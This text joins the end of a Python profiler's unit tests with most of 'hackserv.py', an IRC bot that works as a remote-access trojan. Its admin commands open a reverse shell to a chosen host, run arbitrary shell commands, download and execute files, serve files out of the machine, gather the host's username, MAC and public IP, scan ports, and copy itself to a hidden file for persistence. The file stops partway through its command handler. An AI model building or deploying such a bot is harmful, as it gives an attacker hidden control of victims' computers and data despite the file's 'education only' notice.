fsb = utils.find_stat_by_name(stats, 'b')
fsc = utils.find_stat_by_name(stats, 'c')
cfsab = fsa.children[fsb]
cfsbc = fsb.children[fsc]
cfsca = fsc.children[fsa]
self.assertEqual(fsa.ttot, 10)
self.assertEqual(fsa.tsub, 2)
self.assertEqual(fsb.ttot, 9)
self.assertEqual(fsb.tsub, 4)
self.assertEqual(fsc.ttot, 7)
self.assertEqual(fsc.tsub, 4)
self.assertEqual(cfsab.ttot, 9)
self.assertEqual(cfsab.tsub, 2)
self.assertEqual(cfsbc.ttot, 7)
self.assertEqual(cfsbc.tsub, 4)
self.assertEqual(cfsca.ttot, 1)
self.assertEqual(cfsca.tsub, 1)
self.assertEqual(cfsca.ncall, 1)
self.assertEqual(cfsca.nactualcall, 0)
def test_aabccb(self):
_timings = {
"a_1": 13,
"a_2": 11,
"b_1": 9,
"c_1": 5,
"c_2": 3,
"b_2": 1
}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
if self._ncall == 1:
self._ncall += 1
a()
else:
b()
def b():
if self._ncall == 3:
return
else:
c()
def c():
if self._ncall == 2:
self._ncall += 1
c()
else:
b()
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
fsc = utils.find_stat_by_name(stats, 'c')
cfsaa = fsa.children[fsa.index]
cfsab = fsa.children[fsb]
cfsbc = fsb.children[fsc.full_name]
cfscc = fsc.children[fsc]
cfscb = fsc.children[fsb]
self.assertEqual(fsb.ttot, 9)
self.assertEqual(fsb.tsub, 5)
self.assertEqual(cfsbc.ttot, 5)
self.assertEqual(cfsbc.tsub, 2)
self.assertEqual(fsa.ttot, 13)
self.assertEqual(fsa.tsub, 4)
self.assertEqual(cfsab.ttot, 9)
self.assertEqual(cfsab.tsub, 4)
self.assertEqual(cfsaa.ttot, 11)
self.assertEqual(cfsaa.tsub, 2)
self.assertEqual(fsc.ttot, 5)
self.assertEqual(fsc.tsub, 4)
def test_abaa(self):
_timings = {"a_1": 13, "b_1": 10, "a_2": 9, "a_3": 5}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
if self._ncall == 1:
b()
elif self._ncall == 2:
self._ncall += 1
a()
else:
return
def b():
self._ncall += 1
a()
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
cfsaa = fsa.children[fsa]
cfsba = fsb.children[fsa]
self.assertEqual(fsb.ttot, 10)
self.assertEqual(fsb.tsub, 1)
self.assertEqual(fsa.ttot, 13)
self.assertEqual(fsa.tsub, 12)
self.assertEqual(cfsaa.ttot, 5)
self.assertEqual(cfsaa.tsub, 5)
self.assertEqual(cfsba.ttot, 9)
self.assertEqual(cfsba.tsub, 4)
def test_aabb(self):
_timings = {"a_1": 13, "a_2": 10, "b_1": 9, "b_2": 5}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
if self._ncall == 1:
self._ncall += 1
a()
elif self._ncall == 2:
b()
else:
return
def b():
if self._ncall == 2:
self._ncall += 1
b()
else:
return
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
cfsaa = fsa.children[fsa]
cfsab = fsa.children[fsb]
cfsbb = fsb.children[fsb]
self.assertEqual(fsa.ttot, 13)
self.assertEqual(fsa.tsub, 4)
self.assertEqual(fsb.ttot, 9)
self.assertEqual(fsb.tsub, 9)
self.assertEqual(cfsaa.ttot, 10)
self.assertEqual(cfsaa.tsub, 1)
self.assertEqual(cfsab.ttot, 9)
self.assertEqual(cfsab.tsub, 4)
self.assertEqual(cfsbb.ttot, 5)
self.assertEqual(cfsbb.tsub, 5)
def test_abbb(self):
_timings = {"a_1": 13, "b_1": 10, "b_2": 6, "b_3": 1}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
if self._ncall == 1:
b()
def b():
if self._ncall == 3:
return
self._ncall += 1
b()
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
cfsab = fsa.children[fsb]
cfsbb = fsb.children[fsb]
self.assertEqual(fsa.ttot, 13)
self.assertEqual(fsa.tsub, 3)
self.assertEqual(fsb.ttot, 10)
self.assertEqual(fsb.tsub, 10)
self.assertEqual(fsb.ncall, 3)
self.assertEqual(fsb.nactualcall, 1)
self.assertEqual(cfsab.ttot, 10)
self.assertEqual(cfsab.tsub, 4)
self.assertEqual(cfsbb.ttot, 6)
self.assertEqual(cfsbb.tsub, 6)
self.assertEqual(cfsbb.nactualcall, 0)
self.assertEqual(cfsbb.ncall, 2)
def test_aaab(self):
_timings = {"a_1": 13, "a_2": 10, "a_3": 6, "b_1": 1}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
if self._ncall == 3:
b()
return
self._ncall += 1
a()
def b():
return
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
cfsaa = fsa.children[fsa]
cfsab = fsa.children[fsb]
self.assertEqual(fsa.ttot, 13)
self.assertEqual(fsa.tsub, 12)
self.assertEqual(fsb.ttot, 1)
self.assertEqual(fsb.tsub, 1)
self.assertEqual(cfsaa.ttot, 10)
self.assertEqual(cfsaa.tsub, 9)
self.assertEqual(cfsab.ttot, 1)
self.assertEqual(cfsab.tsub, 1)
def test_abab(self):
_timings = {"a_1": 13, "b_1": 10, "a_2": 6, "b_2": 1}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
b()
def b():
if self._ncall == 2:
return
self._ncall += 1
a()
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
cfsab = fsa.children[fsb]
cfsba = fsb.children[fsa]
self.assertEqual(fsa.ttot, 13)
self.assertEqual(fsa.tsub, 8)
self.assertEqual(fsb.ttot, 10)
self.assertEqual(fsb.tsub, 5)
self.assertEqual(cfsab.ttot, 10)
self.assertEqual(cfsab.tsub, 5)
self.assertEqual(cfsab.ncall, 2)
self.assertEqual(cfsab.nactualcall, 1)
self.assertEqual(cfsba.ttot, 6)
self.assertEqual(cfsba.tsub, 5)
if __name__ == '__main__':
# import sys;sys.argv = ['', 'BasicUsage.test_run_as_script']
# import sys;sys.argv = ['', 'MultithreadedScenarios.test_subsequent_profile']
unittest.main()
|
hackserv.py
|
#!/usr/bin/env python3
#
# HackServ IRC Bot
# hackserv.py
#
# Copyright (c) 2018-2022 Stephen Harris <trackmastersteve@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
legal_notice = 'THIS BOT IS FOR EDUCATION PURPOSES ONLY! DO NOT USE IT FOR MALICIOUS INTENT!'
author = 'Stephen Harris (trackmastersteve@gmail.com)'
github = 'https://github.com/trackmastersteve/hackserv.git'
software = 'HackServ'
version = '1.3.3'
last_modification = '2022.01.02'
# Imports
import os
import ssl
import sys
import stat
import nmap
import time
import uuid
import shlex
import shutil
import base64
import random
import socket
import datetime
import platform
import threading
import subprocess
import urllib.request
from requests import get
starttime = datetime.datetime.utcnow() # Start time is used to calculate uptime.
ip = get('https://api.ipify.org').text # Get public IP address. (used to set botnick-to-ip as well as the '.ip' command.)
sys.path.insert(0, '/usr/local/bin/') # Working directory.
from hsConfig import * # import the hsConfig.py file.
lastping = time.time() # Time at last PING.
threshold = 200 # Ping timeout before reconnect.
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set ircsock variable.
if usessl: # If SSL is True, connect using SSL.
ircsock = ssl.wrap_socket(ircsock)
ircsock.settimeout(240) # Set socket timeout.
connected = False # Variable to say if bot is connected or not.
def ircsend(msg):
ircsock.send(bytes(str(msg) +"\n", "UTF-8")) # Send data to IRC server.
def connect(): # Connect to the IRC network.
global connected
while not connected:
try: # Try and connect to the IRC server.
if debugmode: # If debugmode is True, msgs will print to screen.
print("Connecting to " + str(server) + ":" + str(port))
ircsock.connect_ex((server, port)) # Here we connect to the server.
if usesasl:
ircsend("CAP REQ :sasl") # Request SASL Authentication.
if debugmode:
print("Requesting SASL login.")
if useservpass: # If useservpass is True, send serverpass to server to connect.
ircsend("PASS "+ serverpass) # Send the server password to connect to password protected IRC server.
ircsend("USER "+ botnick +" "+ botnick +" "+ botnick +" "+ botnick+ " "+ botnick) # We are basically filling out a form with this line and saying to set all the fields to the bot nickname.
ircsend("NICK "+ botnick) # Assign the nick to the bot.
connected = True
main()
except Exception as iconnex: # If you can't connect, wait 10 seconds and try again.
if debugmode: # If debugmode is True, msgs will print to screen.
print("Exception: " + str(iconnex))
print("Failed to connect to " + str(server) + ":" + str(port) + ". Retrying in 10 seconds...")
connected = False
time.sleep(10)
reconnect()
def reconnect(): # Reconnect to the IRC network.
global connected # Set 'connected' variable
global ircsock # Set 'ircsock' variable
while not connected:
ircsock.close() # Close previous socket.
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set ircsock variable.
if usessl: # If SSL is True, connect using SSL.
ircsock = ssl.wrap_socket(ircsock)
try:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Reconnecting to " + str(server) + ":" + str(port))
ircsock.connect_ex((server, port)) # Here we connect to the server.
if usesasl:
ircsend("CAP REQ :sasl") # Request SASL Authentication.
if debugmode:
print("Requesting SASL login.")
if useservpass: # If useservpass is True, send serverpass to server to connect.
ircsend("PASS "+ serverpass) # Send the server password to connect to password protected IRC server.
ircsend("USER "+ botnick +" "+ botnick +" "+ botnick +" "+ botnick +" "+ botnick) # We are basically filling out a form with this line and saying to set all the fields to the bot nickname.
ircsend("NICK "+ botnick) # Assign the nick to the bot.
connected = True
main()
except Exception as irconnex: # If you can't connect, wait 10 seconds and try again.
if debugmode: # If debugmode is True, msgs will print to screen.
print("Exception: " + str(irconnex))
print("Failed to reconnect to " + str(server) + ":" + str(port) + ". Retrying in 10 seconds...")
connected = False
time.sleep(10)
reconnect()
def joinchan(chan): # Join channel(s).
ircsend("JOIN "+ chan)
ircmsg = ""
while ircmsg.find("End of /NAMES list.") == -1:
ircmsg = ircsock.recv(2048).decode("UTF-8")
ircmsg = ircmsg.strip('\n\r')
if debugmode: # If debugmode is True, msgs will print to screen.
print(ircmsg) # Print messages to the screen. (won't allow bot to run in the background.)
def partchan(chan): # Part channel(s).
ircsend("PART "+ chan)
def pjchan(chan): # Part then Join channel(s)
ircsend("PART "+ chan)
ircsend("JOIN "+ chan)
def newnick(newnick): # Change botnick.
ircsend("NICK "+ newnick)
def sendmsg(msg, target=channel): # Sends messages to the target.
ircsend("PRIVMSG "+ target +" :"+ msg)
def sendntc(ntc, target=channel): # Sends a NOTICE to the target.
ircsend("NOTICE "+ target +" :"+ ntc)
def sendversion(nick, ver): # Respond to VERSION request.
ver = "VERSION " + software + ' ' + version + ' Download it at: ' + github
sendntc(ver, nick)
def kick(msg, usr, chan): # Kick a user from the channel.
ircsend("KICK "+ chan + " " + usr + " :"+ msg)
def uptime(): # Used to get current uptime for .uptime command
delta = datetime.timedelta(seconds=round((datetime.datetime.utcnow() - starttime).total_seconds()))
return delta
def uname(): # Used to get system info for .uname command
sysinfo = platform.uname()
return sysinfo
def username(): # Used to get the OS username for .username command.
usrnm = os.getenv('USER', os.getenv('USERNAME', 'user'))
return usrnm
def guid():
uid = os.getuid()
return uid
def macaddress(): # Used to get macaddress for .macaddress command.
ma = ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()
return ma
def linuxMemory(): # Get linux system memory info for .memory command.
sendntc("Memory Info: ", adminname)
with open("/proc/meminfo", "r") as f:
lines = f.readlines()
sendntc(" " + lines[0].strip(), adminname)
sendntc(" " + lines[1].strip(), adminname)
def nmapScan(tgtHost, tgtPort): # Use nmap to scan ports on an ip address with .scan command
nmScan = nmap.PortScanner()
nmScan.scan(tgtHost, tgtPort)
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
if state == 'open':
st = '[+]'
else:
st = '[-]'
sendmsg((st + " " + tgtHost + " tcp/" +tgtPort + " -" + state), adminname)
def rShell(rsHost, rsPort): # Open a reverse shell on this device.
try:
rs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
rs.connect_ex((str(rsHost), int(rsPort)))
rs.sendto(str.encode("[+] Connection established!"), (str(rsHost), int(rsPort)))
rsConnected = True
if debugmode: # If debugmode is True, msgs will print to screen.
print("[+] Connection established with " + rsHost + ":" + rsPort + "!")
while rsConnected:
try:
data = rs.recv(1024).decode("UTF-8")
if data == "quit" or "exit":
rs.close()
sendntc("[x] Closed reverse shell connection with "+ rsHost +":"+ rsPort +"!", adminname)
if debugmode:
print("[x] Closed reverse shell connection with "+ rsHost +":"+ rsPort +"!")
if data[:2] == "cd":
os.chdir(data[3:])
if len(data) > 0:
sproc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = sproc.stdout.read() + sproc.stderr.read()
output_str = str(stdout_value, "UTF-8")
currentWD = os.getcwd() + "> "
rs.sendto(str.encode(currentWD + output_str), (str(rsHost), int(rsPort)))
except Exception as rsex:
if debugmode:
print("rShell Exception: " + str(rsex))
rsConnected = False
except Exception as rsconnex:
if debugmode: # If debugmode is True, msgs will print to screen.
print("rShell Socket Connection Exception: " + str(rsconnex))
rs.close()
def runcmd(sc): # Run shell commands on this device.
proc = subprocess.Popen(shlex.split(sc), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
line = proc.stdout.readline()
line_str = str(line, "UTF-8")
if line == b'' and proc.poll() is not None:
if debugmode: # If debugmode is True, msgs will print to screen.
print("End of .cmd output.")
sendntc("Shell>", adminname)
return
if line:
if debugmode: # If debugmode is True, msgs will print to screen.
print(format(line_str))
sendntc("Shell> " + format(line_str), adminname)
pp = proc.poll()
if debugmode: # If debugmode is True, msgs will print to screen.
print(pp)
sendntc(pp, adminname)
sendntc("Shell> Done.", adminname)
def runcmd_noout(sc): # Run shell commands with any feedback output.
proc = subprocess.Popen(sc, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
def setmode(flag, target=channel): # Sets given mode to nick or channel.
ircsend("MODE "+ target +" "+ flag)
def download(link, file): # Download a file.
urllib.request.urlretrieve(str(link), str(file))
sendntc(str(file) +" was successfully downloaded from "+ str(link) +"!", adminname)
def execute(xType, file): # Run executable file.
if xType == 'ex':
exec(open(str(file)).read())
if type == 'sys':
os.system(str(file))
else:
runcmd_noout('./'+ file)
def chFileMod(modFile, modType): # Change the file permissions. (chmod)
os.chmod(str(modFile), modType)
sendntc(str(modFile) +" mode was changed to: "+ str(modType) +"!", adminname)
def update(link, dlFile): # Update bot.
if debugmode: # If debugmode is True, msgs will print to screen.
print("[==>] Downloading update file: "+ str(dlFile))
download(link, dlFile) # Download the updated file.
if debugmode: # If debugmode is True, msgs will print to screen.
print("[chmod +x] Making "+ str(dlFile) +" executable!")
chFileMod(dlFile, 0o755) # Make the file executable.
if debugmode: # If debugmode is True, msgs will print to screen.
print("[<==] Backing up old hackserv.py and renaming "+ str(dlFile) +" to hackserv.py")
os.rename("hackserv.py", "hackserv.py.bak") # Backup the original 'hackserv.py' file.
os.rename(str(dlFile), "hackserv.py") # Rename the new file to 'hackserv.py'
if debugmode: # If debugmode is True, msgs will print to screen.
print("[+] Restarting hackserv.py!")
os.execv(__file__, sys.argv) # Exit the old process and start the new one.
sendntc("[*] Success! "+ str(dlFile) +" was renamed and old 'hackserv.py' was successsfully backed up and updated!", adminname)
def retrieveFile(fsname, fs, fsaddr): # Receive a file.
filename = fs.recv(1024).decode("UTF-8")
if os.path.isfile(filename):
fs.sendto(str.encode("EXISTS " + str(os.path.getsize(filename))), fsaddr)
userResponse = fs.recv(1024).decode("UTF-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
fs.sendto(bytesToSend, fsaddr)
while bytesToSend != "":
bytesToSend = f.read(1024)
fs.sendto(bytesToSend, fsaddr)
else:
fs.sendto(str.encode("ERR"), fsaddr)
fs.close()
def fileServer(): # Open a file server on this device.
host = '127.0.0.1'
port = 4444
s = socket.socket()
s.bind((host, port))
s.listen(5)
if debugmode: # If debugmode is True, msgs will print to screen.
print("[*] File Server (Download) started!")
sendntc("[*] File Server (Download) started!", adminname)
while True:
c, addr = s.accept()
if debugmode: # If debugmode is True, msgs will print to screen.
print("[+] Client connected ip: " + str(addr))
sendntc("[+] Client connected ip: " + str(addr), adminname)
t = threading.Thread(target=retrieveFile, args=("retreiveThread", c, addr))
t.start()
s.close()
def fileList(dir): # List files in current directory
os.chdir(dir)
for root, dirs, files in os.walk(dir, topdown = False): # walk through current directory.
for name in files:
if debugmode: # If debugmode is True, msgs will print to screen.
print(os.path.join(root, name)) # Print the file list to screen if debugmode is enabled.
sendntc(os.path.join(root, name), adminname)
time.sleep(1)
for name in dirs:
if debugmode: # If debugmode is True, msgs will print to screen.
print(os.path.join(root, name)) # Print the dir list to screen if debugmode is enabled.
sendntc(os.path.join(root, name), adminname)
time.sleep(1)
def bgMining():
# Mine crypto in the background.
if debugmode:
print("bgMining started!")
sendntc("This does nothing, yet!", name)
def nonExist(command, name):
errorMessage = str(command) +" does not exist yet. Please go to "+ github +" if you feel like you can contribute."
if debugmode:
print(errorMessage)
sendntc(errorMessage, name)
def persistence():
# Startup Check. (Still in testing!)
name = str(__name__) # Get filename.
hd = str(os.path.expanduser('~')) # Get path to home directory.
hdPath = str(os.getcwd()) # Get current working directory.
clone = hdPath + '/.hackserv.py' # Set clone name as .hackserv.py in current working directory.
if name == clone:
if debugmode: # If debugmode is True, msgs will print to screen.
print(name + " and "+ clone + " are the same file!")
connect()
else:
try:
if debugmode: # If debugmode is True, msgs will print to screen.
print("NAME: " + name) # Current filename.
print("CLONE: " + clone) # Cloned filename.
print("HOME DIR: " + hd) # Home directory location.
#if os.path.isdir(hdPath) and os.path.exists(hdPath):
#if debugmode: # If debugmode is True, msgs will print to screen.
#print("Directory Exists: " + hdPath)
#else:
#if debugmode: # If debugmode is True, msgs will print to screen.
#print("Creating Directory: " + hdPath)
#os.mkdir(hdPath)#, 0700)
if os.path.isfile(clone):
if debugmode: # If debugmode is True, msgs will print to screen.
print("Bot File Exists: " + clone)
# need to run clone instead
else:
if name != clone:
# Need to check root permissions to copy to /usr/local/bin/.
if os.getuid() == 'root':
shutil.copyfile(name, '/usr/local/bin/')
else:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Copying " + name + " to: " + clone)
shutil.copyfile(name, clone)
if debugmode: # If debugmode is True, msgs will print to screen.
print("Running: " + clone)
runcmd(clone)
#os.system(clone)
except OSError as mdr:
if debugmode: # If debugmode is True, msgs will print to screen.
print("ERROR: " + str(mdr))
def main(): # This is the main function for all of the bot controls.
global connected
global botnick
global ip
global lastping
while connected:
ircmsg = ircsock.recv(2048).decode("UTF-8")
ircmsg = ircmsg.strip('\n\r')
if debugmode: # If debugmode is True, msgs will print to screen.
print(ircmsg) # Print messages to the screen. (won't allow bot to run in the background.)
# SASL Authentication.
if ircmsg.find("ACK :sasl") != -1:
if usesasl:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Authenticating with SASL PLAIN.") # Request PLAIN Auth.
ircsend("AUTHENTICATE PLAIN")
if ircmsg.find("AUTHENTICATE +") != -1:
if usesasl:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Sending %s Password: %s to SASL." % (nickserv, nspass))
authpass = botnick + '\x00' + botnick + '\x00' + nspass
ap_encoded = str(base64.b64encode(authpass.encode("UTF-8")), "UTF-8")
ircsend("AUTHENTICATE " + ap_encoded) # Authenticate with SASL.
if ircmsg.find("SASL authentication successful") != -1:
if usesasl:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Sending CAP END command.")
ircsend("CAP END") # End the SASL Authentication.
# Wait 30 seconds and try to reconnect if 'too many connections from this IP'
if ircmsg.find('Too many connections from your IP') != -1:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Too many connections from this IP! Reconnecting in 30 seconds...")
connected = False
time.sleep(30)
reconnect()
# Change nickname if current nickname is already in use.
if ircmsg.find('Nickname is already in use') != -1:
botnick = "hs[" + str(random.randint(10000,99999)) +"]"
newnick(botnick)
# Join 'channel' and msg 'admin' after you are fully connected to server.
if ircmsg.find('NOTICE') != -1:
name = ircmsg.split('!',1)[0][1:]
message = ircmsg.split('NOTICE',1)[1].split(':',1)[1]
if message.find('*** You are connected') != -1:
#sendmsg("IDENTIFY %s" % nspass, nickserv)
joinchan(channel)
sendntc(format(ip) + " Online!", adminname)
# Respond to 'PONG ERROR' message from server.
if message.find('ERROR') != -1:
if debugmode: # If debugmode is True, msgs will print to screen.
print("Received a 'ERROR' from the server, reconnecting in 5 seconds...")
connected = False
time.sleep(5)
reconnect()
# Respond to NickServ ident request.
if name.lower() == nickserv.lower() and message.find('This nickname is registered') != -1:
sendmsg("IDENTIFY " + nspass, nickserv)
# Respond to CTCP VERSION.
if ircmsg.find('VERSION') != -1:
name = ircmsg.split('!',1)[0][1:]
vers = version
sendversion(name, vers)
# Things to do when a user joins the channel.
if ircmsg.find('JOIN') != -1:
name = ircmsg.split('!',1)[0][1:] # Username
message = ircmsg.split('JOIN',1)[1].split(':',1)[1] # Channel
ipHost = ircmsg.split('JOIN',1)[0] #IP Address or Hostname
if len(name) < 17:
if message.find(channel) != -1:
if onJoin: # must have 0nJoin = True in hsConfig.
#ircsend("DNS "+ name) # Attempt to get users IP address using DNS from IRC Server. (Commented out due to Oper requirements on most servers.)
sendntc('User: '+ name +' Hostname: '+ ipHost +' Joined: '+ message, adminname)
# Messages come in from IRC in the format of: ":[Nick]!~[hostname]@[IPAddress]PRIVMSG[channel]:[message]"
if ircmsg.find('PRIVMSG') != -1:
name = ircmsg.split('!',1)[0][1:]
message = ircmsg.split('PRIVMSG',1)[1].split(':',1)[1]
# IRC Nicks are normally less than 17 characters long.
if len(name) < 17:
# Respond to anyone saying 'Hi [botnick]'.
if message.find('Hi ' + botnick) != -1:
sendntc("Hello " + name + "!", name)
# Respond to '.msg [target] [message]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.msg') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
message = target.split(' ', 1)[1]
target = target.split(' ')[0]
else:
target = name
message = "Could not parse. The message should be in format of '.msg [target] [message]' to work properly."
sendmsg(message, target)
# Respond to '.ntc [target] [message]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.ntc') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
message = target.split(' ', 1)[1]
target = target.split(' ')[0]
else:
target = name
message = "Could not parse. The message should be in the format of '.notice [target] [message]' to work properly."
sendntc(message, target)
# Respond to '.kick [channel] [nick] [reason]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.kick') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
reason = target.split(' ', 2)[2]
nick = target.split(' ')[1]
chnl = target.split(' ')[0]
message = nick + " was kicked from " + chnl + " Reason:" + reason
kick(reason, nick, chnl)
else:
message = "Could not parse. The message should be in the format of '.kick [#channel] [nick] [reason]' to work properly."
sendntc(message, name)
# Respond to the '.mode [target] [mode]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.mode') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
mode = target.split(' ', 1)[1]
target = target.split(' ')[0]
message = "Setting mode " + mode + " on " + target + "!"
setmode(mode, target)
else:
message = "Could not parse. The message should be in the format of '.mode [target] [mode]' to work properly."
sendntc(message, adminname)
# Respond to the '.dl [url] [file]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.dl') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
download_file = target.split(' ', 1)[1]
download_url = target.split(' ')[0]
message = "The file " + download_file + " is downloading from " + download_url + "..."
download_thread = threading.Thread(target=download, args=(download_url, download_file))
download_thread.start()
else:
message = "Could not parse. The message should be in the format of '.dl [url] [file]' to work properly."
sendntc(message, adminname)
# Respond to the '.run [execute type] [executable file]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.run') != -1:
target = message.split(' ', 1)[1]
if target.find(' ') != -1:
exec_file = message.split(' ', 1)[1]
exec_type = message.split(' ')[0]
message = "Running the executable file: " + exec_file + " Using: " + exec_type
execute_thread = threading.Thread(target=execute, args=(exec_type, exec_file))
execute_thread.start()
else:
message = "Could not parse. The message should be in the format of '.run [exec type] [exec file]' to work properly."
sendntc(message, adminname)
# Respond to the '.raw [command]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.raw') != -1:
if message.split(' ', 1)[1] != -1:
rawc = message.split(' ', 1)[1]
message = "Sending '" + rawc + "' to the server!"
ircsend(rawc)
else:
message = "Could not parse. The message should be in the format of '.raw [command]' to work properly."
sendntc(message, adminname)
# Respond to the '.nick [newnick]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.nick') != -1:
if message.split(' ', 1)[1] != -1:
botnick = message.split(' ', 1)[1]
message = "Ok, Changing my nick to: " + botnick
newnick(botnick)
else:
message = "Could not parse. Please make sure the command is in the format of '.nick [newnick]' to work properly."
sendntc(message, name)
# Respond to the '.join [channel]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.join') != -1:
if message.split(' ', 1)[1].startswith('#'):
target = message.split(' ', 1)[1]
message = "Ok, I will join the channel: " + target
joinchan(target)
else:
message = "Could not parse. Please make sure the channel is in the format of '#channel'."
sendntc(message, name)
# Respond to the '.part [channel]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.part') != -1:
if message.split(' ', 1)[1].startswith('#'):
target = message.split(' ', 1)[1]
message = "Ok, I will part the channel: " + target
partchan(target)
else:
message = "Could not parse. Please make sure the channel is in the format of '#channel'."
sendntc(message, name)
# Respond to the '.pj [channel]' command from admin.
if name.lower() == adminname.lower() and message[:5].find('.pj') != -1:
if message.split(' ', 1)[1].startswith('#'):
target = message.split(' ', 1)[1]
message = "Ok, cycling " + target + " now!"
pjchan(target)
else:
message = "Could not parse. Please make sure the channel is in the format of '#channel'."
sendntc(message, name)
# Respond to the '.help' command.
if message.find('.help') != -1:
message = "End of Help."
if name.lower() == adminname.lower():
helpmsg = """
'.help' (shows this message),
'.username' (shows username of machine the bot is running on),
'.uptime' (shows bot uptime),
'.uname' (get 1-line system info),
'.sysinfo' (get formated system info),
'.osversion' (get OS version info),
'.memory' (get memory stats info),
'.ip' (get public ip address of bot),
'.macaddress' (get mac address info),
'.rsh [target] [port]' (opens reverse shell to target),
....listener can be downloaded at https://github.com/trackmastersteve/shell.git,
'.cmd [shell command]' (run shell commands on the host),
'.cno [shell command]' (run shell commands without output),
'.chmd [file] [permissions]' (change permissions of a file),
'.fsdl' (run fileserver to download files from),
'.scan [ip] [comma seperated ports]' (nmap port scanner),
'.msg [target] [message]' (sends a msg to a user/channel),
'.ntc [target] [message]' (sends a notice to a user/channel),
'.join [channel]' (tells bot to join channel),
'.part [channel]' (tells bot to part channel),
'.pj [channel]' (tells bot to part then rejoin channel),
'.kick [channel] [nick] [reason]' (tells bot to kick a user from a channel),
'.mode [target] [mode]' (set mode on nick or channel),
'.nick [newnick]' (sets a new botnick),
'.raw [command]' (sends a raw command to the IRC server),
'.ls [dir]' (lists files in a directory),
'.dl [url] [file]' (downloads [url] and saves as [file]),
'.run [execute type]' [executable file]' (execute a file),
'.upgrade [link] [file]' (upgrades the hackserv.py file),
'.mining [start/stop]' (coming soon!),
'.proxy [start/stop]' (coming soon!),
'.persistence' (attempt to enable persistence) (requires root permissions),
'Hi [botnick]' (responds to any user saying hello to it),
'bye [botnick]' (tells bot to quit)
"""
else:
helpmsg = """
'.help' (shows this message),
'Hi [botnick]' (responds to any user saying hello to it)
"""
helpmsg = [m.strip() for m in str(helpmsg).split(',')]
for line in helpmsg:
sendntc(line, name)
time.sleep(1)
sendntc(message, name)
# Respond to '.ip' command from admin.
if name.lower() == adminname.lower() and message.find('.ip') != -1:
ip = get('https://api.ipify.org').text
sendntc("My public ip address is: " + format(ip), name)
# Respond to '.uptime' command from admin.
if name.lower() == adminname.lower() and message.find('.uptime') != -1:
sendntc("My current uptime: " + format(uptime()), name)
# Respond to '.uname' command from admin.
if name.lower() == adminname.lower() and message.find('.uname') != -1:
sendntc("System Info: " + format(uname()), adminname)
# Respond to '.username' command from admin.
if name.lower() == adminname.lower() and message.find('.username') != -1:
sendntc("Username: " + format(username()), adminname)
sendntc("UID: " + format(guid()), adminname)
# Respond to '.macaddress' command from admin.
if name.lower() == adminname.lower() and message.find('.macaddress') != -1:
sendntc("Mac Address: " + format(macaddress()), adminname)
# Respond to '.sysinfo' command from admin.
